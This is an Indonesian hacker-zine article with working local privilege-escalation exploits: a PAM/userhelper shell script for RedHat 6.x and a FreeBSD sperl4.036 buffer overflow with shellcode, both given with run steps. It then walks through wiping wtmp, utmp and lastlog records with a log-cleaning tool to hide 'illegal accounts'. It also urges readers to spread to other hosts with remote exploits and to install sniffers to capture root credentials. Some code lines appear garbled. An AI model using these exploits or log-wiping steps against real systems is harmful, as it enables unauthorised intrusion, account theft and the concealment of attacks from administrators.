Artikel From Rozy Crew


=================================================================================================
Jika Anda Ingin Berbagi Ilmu
Tentang Ilmu Komputer
Tolong Kirimkan Tips dan Trik atau Artikel Anda
Ke Rozy@hehe.com atau Rozy_eksa@yahoo.com 
VER Bahasa Indonesia
=================================================================================================
======================================
Mendapatkan lokal root shell di RedHat 6.2
======================================

1. Login atau telnet ke mesin kamu, user biasa (bukan root)
2. Ketik atau copy/paste skrip ini, berinama: gimmerewt.sh

----------------------- mulai dari bawah sini ------------------
#!/bin/sh
#
# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start
# found by dildog@l0pht.com

# synopsis:
# both 'pam' and 'userhelper' (a setuid binary that comes with the
# 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to
# _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'
# being setuid means we can get root. 
#
# fix: 
# No fuckin idea for a good fix. Get rid of the .. paths in userhelper 
# for a quick fix. Remember 'strcat' isn't a very good way of confining
# a path to a particular subdirectory.
#
# props to my mommy and daddy, cuz they made me drink my milk.

cat > _pamslam.c << EOF
#include
#include
#include
void _init(void)
{
setuid(geteuid());
system("/bin/sh");
}
EOF

echo -n .

echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
chmod 755 _pamslam.conf

echo -n .

gcc -fPIC -o _pamslam.o -c _pamslam.c

echo -n o

ld -shared -o _pamslam.so _pamslam.o

echo -n o

chmod 755 _pamslam.so

echo -n O

rm _pamslam.c
rm _pamslam.o

echo O

/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf

sleep 1s

rm _pamslam.so
rm _pamslam.conf
------------------- Berhenti Disini -------------

3. Set flag gimmerewt.sh ke executable
chmod +x gimmerewt.sh

4. Jalankan
./gimmerewt.sh


=======================================
Mendapatkan root shell di FreeBSD 4.2.x
=======================================

(for my friend try this, I know you have a long
search for the hole :) ... well since I'm in a good mood, I tell you).

1. Login atau telnet ke mesin kamu, user biasa (bukan root)
2. Ketik atau copy/paste skrip berikut ini, berinama: gimmerewt.c

---------------------- mulai dari bawah ini --------------------
/**************************************************/
/* Exploit for FreeBSD sperl4.036 by OVX */
/**************************************************/

#include 
#include 
#include 

#define BUFFER_SIZE 1400
#define OFFSET 600

char *get_esp(void) {
asm("movl %esp,%eax");
}
char buf[BUFFER_SIZE];

main(int argc, char *argv[])
{
int i;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

for(i=0+1;i *(char **)&buf[i] = get_esp() - OFFSET;

memset(buf,0x90,768+1);
memcpy(&buf[768+1],execshell,strlen(execshell));

buf[BUFFER_SIZE-1]=0;

execl("/usr/bin/sperl4.036", "/usr/bin/sperl4.036", buf, NULL);
}
----------------------- sampe disini aja -------------------------------

3. Compile gimmerewt.c
gcc gimmerewt.c -o gimmerewt

4. Jalankan
./gimmerewt

terusannya mana kok ilang....hehe pikir sendiri

++++++++++$$$$$$$$+++++++++++++++++++++++++++

Tapi ingatlah untuk selalu untuk menutupi jejak supaya account ilegal milikmu tidak menjadi sejarah setelah baru sekali dipakai! Gunakan eksploit - eksploit remote sendmail,telnet, ftp dll untuk mendapatkan host-host lainnya. Kamu bisa menjadi benar-benar sukses dengan barang "lama" ini jika kamu 
menggunakan daftar host yang cukup besar dan skrip tulis/temukan (write/find) yang mengotomatisasi proses penge-test-an untuk kamu. Tapi dimana bisa ditemukan nama-nama host untuk membuat daftar host? Banyak kemungkinan. Coba /etc/hosts, www, data analisis statistik dari akses-akses internet atau www, dll.

ya,kasih tau donk kirim ke e-mail saya hehehe just kidding oke lanjut ......


+++++++++++++++++++++++++++++++++++++++

Berikut ini cara mengapus jejak kamu setelah mendapat kan root shell dan tentu saja kamu ingin tidak ketahuan kan.ini sangat penting bila kamu sudah masuk ke target mesin kamu.

### Cara menghapus Jejak old style Btw: Masih bisa digunakan Juga ###
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

a.berikut ini :

#ifdef GENERIC /* Should work with Linux, IRIX, Digital Unix, BSDs, etc */
#define WTMP "/var/adm/wtmp"
#define UTMP "/var/adm/utmp"
#define LASTLOG "/var/adm/lastlog"
#endif

Harap diingat bahwa tidak selalu file2 wtmp utmp dan lastlog berada pada
posisi yang sama, misalnya distro Slackware menaruh file2 tsb diatas di:
#define WTMP "/var/log/wtmp"
#define UTMP "/var/run/utmp"
#define LASTLOG "/var/log/lastlog"

Jadi jangan lupa cek apakah posisi file2 wtmp utmp dan lastlog sudah
sesuai dengan source Remove.c

Kamu bisa gunakan perintah : 
find / -name wtmp -print
find / -name utmp -print
find / -name lastlog -print

atau

whereis wtmp
whereis utmp
whereis lastlog
Kemudian ganti posisi file2 tersebut di Remove.c sesuai dengan hasil 
diatas.

b.sekarang? ... ayooooooooooooo. 

/home/RUSH/tools# gcc Remove.c -o remove -DGENERIC
AIXPLOIT.c: In function `main':
AIXPLOIT.c:50: warning: return type of `main' is not `int'
/tmp/ccZVzySI.o: In function `main':
/tmp/ccZVzySI.o(.text+0xb4): the `gets' function is dangerous and should
not be used.

Waw ... ada warning message ... gak apa2, warning bukan error :P


c. Cek last login nya user (RUSH misalnya)

/home/RUSH/tools# lastlog | grep RUSH
RUSHtty2 Sat jan 11 11:32:42 -0101 2002


d. Jalankan Remove.c

/home/RUSH/tools# ./remove RUSH

REMOVE by Simple Nomad
Nomad Mobile Research Centre (c) 1997

Found 103 record(s) for user RUSH
Will attempt a lastlog cleanup by default.

# - remove last # records from utmp/wtmp
a - remove (a)ll records from utmp/wtmp
q - (q)uit program

Enter selection ->


e. Hapus record terakhir (ketik #), atau boleh juga semua (a) :P

Enter selection -> #
REMOVE cleaned up 0 record(s) from /var/log/wtmp
REMOVE cleaned up 0 record(s) from /var/run/utmp
REMOVE cleaned up /var/log/lastlog

f. Cek last log nya RUSH

/home/RUSH/tools# lastlog | grep RUSH
RUSH **Never logged in**

g. Ini hasilnya kalo RUSH login :

Selamat datang di RUSH 

RUSH_MAN login: RUSH_MAN
Password:
Pantat Gusdur
No mail.

RUSH :~$

h. Biasanya kalo last log nya dicatat (belum/gak dihapus) RUSH bisa liat
gini, (perhatikan bagian Last login nya) :

Selamat datang di RUSH

RUSH login: RUSH
Password:
Pantat Gusdur
Last login: Sat jan 11 12:06:02 -0101 2002 on tty3.
No mail.

RUSH:~$

Gitu aja

Mungkin rekan rekan ada yang mau nambahin kekurangan dari artikel ini.silahkan kirimkan artikel anda ke jasakom.com jangan di simpan terus. nanti nya kamu jadi dongo hehehe peace :)
+++++++++++++++++++++++++++++++++

-->banyak host dengan account-account yang ada. 
Instal sebuah sniffer jika keadaan sistem memungkinkan dan kamu bisa membobol account 'root'! Account ini akan memperbolehkan kamu mengakses banyak account ke host-host baru. jalankan skrip-skrip eksploit kamu. pada akhirnya paling tidak ada beberapa yang bisa 
digunakan. dan Lanjutkanlah. 

APPPA? udah berhasil nge-hack root di beberapa sistem - dan kamu masih belum juga seorang "hacker"? Seorang hacker bukanlah seseorang yang kerjanya menge-hack sebuah site. Seorang hacker adalah seseorang yang ingin mengerti sebuah sistem, mengetahui bagaimana sang sistem bereaksi,
bersenang-senang mengambil alih kekuasaan di server tersebut dan tertarik dalam menemukan bugs-bugs.

 

<<< BACK >>>